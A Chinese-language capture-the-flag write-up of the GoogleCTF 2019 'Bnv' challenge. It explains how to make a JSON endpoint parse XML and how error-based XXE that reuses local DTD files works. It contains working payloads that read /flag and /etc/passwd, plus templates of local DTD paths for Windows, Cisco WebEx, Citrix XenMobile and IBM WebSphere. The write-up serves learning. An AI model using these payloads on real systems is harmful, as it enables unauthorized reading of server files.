0x00 前言
    这一段正好在学Java和XXE。今天刚好做到了[GoogleCTF2019 Quals]Bnv。看了WriteUp之后感觉自己又学到了好多。在这里记录一下吧。
0x01 例题
    首先进入题目的界面,发现这一题使用的是json传输。然后大佬就联想到了json转化为xxe进行文件读取?这是什么逻辑?找了资料之后才看懂一点。先看一下数据包的结构吧。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | POST /api/search HTTP/1.1Host: af6756fc-f568-4cb8-a6cb-be843e5a7c01.node3.buuoj.cn
 Content-Length: 38
 Origin: http://af6756fc-f568-4cb8-a6cb-be843e5a7c01.node3.buuoj.cn
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
 Content-type: application/json
 Accept: */*
 Referer: http://af6756fc-f568-4cb8-a6cb-be843e5a7c01.node3.buuoj.cn/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.8
 Connection: close
 
 {"message":"135601360123502401401250"}
 
 | 
    因为Content-Type头是application/json。所以服务器所收到的是json数据。而如果我们修改为application/xml那么服务器默认会以为收到的是xml格式的数据,而如果我们发送的不是这个格式,那么肯定会报错的啊。会爆出下面的错误:

    如果出现类似的错误,即大概意思是xml文件的格式不对的,它的服务器变相的卖出它自己可以解析xml文件。所以我们可以尝试xxe。顺便一提,这里好像是只有使用java作为后端才会可能出现这样的情况。选择POST下面的数据看看有没有回显:
| 12
 3
 4
 5
 6
 7
 8
 
 | REQUEST:<?xml version="1.0" encoding="UTF-8" ?>
 <root>
 <message>name</message>
 </root>
 
 RESPONSE:
 Validation failed: no DTD found !, line 2, column 6
 
 | 
    发现没有.dtd文件。所以这里我们需要一个可以利用的.dtd文件,而xxe中有一个点我之前没有学,这里刚好补上(泪目,看来什么都要学啊)。就是本地去找.dtd文件然后使用本地.dtd文件上传造成xxe。那么直接贴上这道题目的payload:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | <?xml version="1.0" ?><!DOCTYPE message [
 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
 
 <!ENTITY % ISOamsa '
 <!ENTITY % file SYSTEM "file:///flag">
 <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
 %eval;
 %error;
 '>
 
 %local_dtd;
 ]>
 
 | 
    获得flag。

    但是做习题的时候flag根本就不是我们的目的。我们来具体的分析一下(指留下白嫖的POC)。
0x02 POC
    其实这种xxe类似于报错注入,毕竟都是通过报错把,数据给带出来的。如果服务器和你的主机之间没有防火墙的话,你当然可以通过Blind XXE的基础用法来读取文件。但是如果有,那么我们就只剩下报错利用了。上面的POC只是基于linux下的POC,那么其他平台下我们该怎么办呢?
模板(自己的模板,不一定对,如果不行记得去多试几遍大佬的):
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | <?xml version="1.0" ?><!DOCTYPE message [
 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
 
 <!ENTITY % ISOamsa '
 <!ENTITY % file SYSTEM "file:///flag">
 <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
 %eval;
 %error;
 '>
 
 %local_dtd;
 ]>
 
 | 
Windows:
| 12
 3
 
 | <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"><!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
 %local_dtd;
 
 | 
linux:
| 12
 3
 
 | <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"><!ENTITY % ISOamsa 'Your DTD code'>
 %local_dtd;
 
 | 
Cisco WebEx:
| 12
 3
 
 | <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"><!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
 %local_dtd;
 
 | 
Citrix XenMobile Server:
| 12
 3
 
 | <!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"><!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
 %local_dtd;
 
 | 
多平台 IBM WebSphere 应用:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | <!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"><!ENTITY % xs-datatypes 'Your DTD code'>
 <!ENTITY % simpleType "a">
 <!ENTITY % restriction "b">
 <!ENTITY % boolean "(c)">
 <!ENTITY % URIref "CDATA">
 <!ENTITY % XPathExpr "CDATA">
 <!ENTITY % QName "NMTOKEN">
 <!ENTITY % NCName "NMTOKEN">
 <!ENTITY % nonNegativeInteger "NMTOKEN">
 %local_dtd;
 
 | 
    最后简单的介绍一下原理吧。
0x03 原理
    看着下面的XXE攻击方法,如果不包含外部实体的话是不是无法理解:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | <!DOCTYPE message [<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
 <!ENTITY % ISOamso '
 <!ENTITY % file SYSTEM "file:///flag">
 <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'test%file;'>">
 %eval;
 %error;
 '>
 %local_dtd;
 ]>
 
 | 
    错误原因是:外部DTD允许我们在第二个实体中包含一个实体,但它在内部DTD中被禁止。但是如果使用本地的DTD文件为什么就可以了呢?
    本地的DTD文件起作用是因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。这么说可能还有人不太懂(就是当初的我),举个大佬的例子吧。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | <?xml version="1.0" ?><!DOCTYPE message [
 <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
 
 <!ENTITY % condition 'aaa)>
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
 %eval;
 %error;
 <!ELEMENT aa (bb'>
 
 %local_dtd;
 ]>
 <message>any text</message>
 
 | 
sip-app_1_0.dtd文件中的内容为:
| 12
 3
 4
 
 | …<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
 <!ELEMENT pattern (%condition;)>
 …
 
 | 
    所以我们定义了两个具有相同名称的实体condition。而只使用第一个实体使我们可以完成XXE。
0x04 参考
使用本地DTD文件来利用XXE漏洞实现任意结果输出
https://www.freebuf.com/articles/web/195899.html
通过Google CTF的BNV学习一下XXE
http://yugod.xmutsec.com/index.php/2019/07/14/50.html
神奇的Content-Type——在JSON中玩转XXE攻击
https://www.cnblogs.com/blacksunny/p/7891495.html